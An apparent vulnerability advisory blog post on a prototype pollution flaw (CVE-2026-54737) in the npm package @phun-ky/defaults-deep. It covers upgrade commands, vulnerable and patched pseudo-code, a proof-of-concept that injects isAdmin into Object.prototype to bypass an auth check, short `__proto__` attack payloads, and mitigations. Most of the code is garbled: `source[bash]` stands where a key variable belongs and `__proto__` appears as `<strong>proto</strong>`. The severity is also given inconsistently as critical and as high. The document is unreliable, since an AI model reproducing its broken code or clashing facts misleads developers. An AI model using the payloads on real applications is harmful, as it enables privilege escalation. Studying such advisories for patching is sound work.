Listen to this Post
CVE-2026-54737 is a critical prototype pollution vulnerability identified in the `@phun-ky/defaults-deep` npm library prior to version 2.0.5. This library provides a `defaultsDeep()` function that recursively merges user-supplied objects, similar to Lodash’s defaultsDeep, but with array preservation and no Lodash dependency.
The vulnerability stems from unsafe recursive property merging. The `defaultsDeep()` function processes user-controlled objects without filtering dangerous property names such as __proto__, constructor, and prototype. In JavaScript, these properties are special: `__proto__` is the accessor for an object’s prototype, `constructor` points to the object’s constructor function, and `prototype` is the property that defines the prototype for constructor functions. When an attacker supplies a crafted object containing these keys, the recursive merge writes properties directly to Object.prototype.
Once `Object.prototype` is polluted, all objects in the Node.js runtime inherit the injected properties. This has cascading effects: an application expecting a certain property to be `undefined` might suddenly find it defined, leading to logic bypasses. More dangerously, if the injected property is a function, it could be invoked in unexpected contexts, enabling denial of service, privilege escalation, or even remote code execution.
The attack vector is network-based, requires no authentication, no user interaction, and has low complexity. Any application passing untrusted input to `defaultsDeep()` is potentially affected. This includes API endpoints parsing JSON, configuration file loaders, or any data processing pipeline that merges external objects.
The fix in version 2.0.5 implements a blocklist of unsafe keys (__proto__, constructor, prototype) during the `baseMerge` iteration, preventing them from being processed. Regression tests covering known prototype pollution vectors were also added. Users are strongly advised to upgrade immediately.
DailyCVE Form:
Platform: Node.js
Version: < 2.0.5
Vulnerability : Prototype Pollution
Severity: CRITICAL (7.3)
date: 2026-07-31
Prediction: 2026-08-07
What Undercode Say:
Check current version npm list @phun-ky/defaults-deep Upgrade to patched version npm install @phun-ky/[email protected] Verify upgrade npm list @phun-ky/defaults-deep
Code Analysis – Vulnerable Merge Logic:
// Vulnerable pseudo-code (prior to 2.0.5)
function defaultsDeep(target, source) {
for (let key in source) {
if (isObject(source[bash])) {
if (!target[bash]) target[bash] = {};
defaultsDeep(target[bash], source[bash]);
} else {
target[bash] = source[bash];
}
}
return target;
}
// Attack payload
const malicious = JSON.parse('{"<strong>proto</strong>":{"isAdmin":true}}');
defaultsDeep({}, malicious);
console.log({}.isAdmin); // true - prototype polluted!
Patched Logic (2.0.5):
// Fixed with UNSAFE_KEYS blocklist
const UNSAFE_KEYS = ['<strong>proto</strong>', 'constructor', 'prototype'];
function safeMerge(target, source) {
for (let key in source) {
if (UNSAFE_KEYS.includes(key)) continue; // Block unsafe keys
// ... rest of merge logic
}
}
Commit Reference: `807dba930f8718f9126cad59d949b8fd3539b059`
Exploit:
Proof of Concept:
const defaultsDeep = require('@phun-ky/defaults-deep');
// Step 1: Craft malicious payload
const payload = {
<strong>proto</strong>: {
isAdmin: true,
execute: function() { return 'Malicious code executed!'; }
}
};
// Step 2: Trigger prototype pollution
defaultsDeep({}, payload);
// Step 3: Observe pollution effects on all objects
const obj = {};
console.log(obj.isAdmin); // true - property injected
console.log(obj.execute()); // 'Malicious code executed!'
// Step 4: Real-world impact - bypass authentication
function checkAuth(user) {
if (user.isAdmin) {
grantPrivilegedAccess();
}
}
checkAuth({}); // Bypasses auth because {} now has isAdmin = true
Attack Scenarios:
- API Endpoints: Sending `{“__proto__”:{“timeout”:0}}` to a merge function could disable timeout protections.
- Configuration Merging: Injecting `{“__proto__”:{“env”:”production”}}` could alter application behavior.
- Denial of Service: Polluting `Array.prototype` with malicious methods can crash array operations.
- Remote Code Execution: If polluted methods are invoked, attackers may execute arbitrary commands.
Protection:
Primary Mitigation:
Upgrade to version 2.0.5 or later immediately.
npm install @phun-ky/[email protected]
Workarounds (if unable to upgrade):
- Sanitize Input: Reject or remove
__proto__,constructor, and `prototype` from all levels of user-controlled objects before passing todefaultsDeep().function sanitize(obj) { const UNSAFE = ['<strong>proto</strong>', 'constructor', 'prototype']; if (Array.isArray(obj)) return obj.map(sanitize); if (obj && typeof obj === 'object') { const cleaned = {}; for (const key of Object.keys(obj)) { if (UNSAFE.includes(key)) continue; cleaned[bash] = sanitize(obj[bash]); } return cleaned; } return obj; } // Usage const safeInput = sanitize(userInput); defaultsDeep({}, safeInput); - Freeze Prototype: At application startup, freeze `Object.prototype` to prevent modifications.
Object.freeze(Object.prototype);
- Use Validation Schemas: Implement JSON schema validation (e.g., AJV, Joi) to reject objects containing unsafe keys.
Long-term Recommendations:
- Regularly audit dependencies for known vulnerabilities.
- Implement strict input validation at all application boundaries.
- Consider using `Object.create(null)` for data objects to avoid prototype chain inheritance.
Impact:
Technical Impact:
- Confidentiality: Low – attackers may read sensitive data through prototype-polluted getters.
- Integrity: Low – application logic can be altered by injected properties.
- Availability: Low – denial of service through property overrides or infinite loops.
- Scope: Unchanged – the vulnerable component does not affect other security domains.
Business Impact:
- Logic Bypasses: Authentication, authorization, and business rules can be subverted.
- Privilege Escalation: Normal users may gain administrative capabilities.
- Data Corruption: Polluted prototypes can corrupt data processing pipelines.
- Reputation Damage: Exploitation of this vulnerability can lead to data breaches and loss of customer trust.
- Compliance Violations: May violate GDPR, HIPAA, or PCI DSS requirements for secure software development.
Affected Environments:
All Node.js applications using `@phun-ky/defaults-deep` versions prior to 2.0.5 are affected. This includes:
– REST APIs
– GraphQL servers
– Microservices
– CLI tools
– Configuration management systems
CVSS Score: 7.3 (HIGH) – Network exploitable, low attack complexity, no privileges required, no user interaction.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
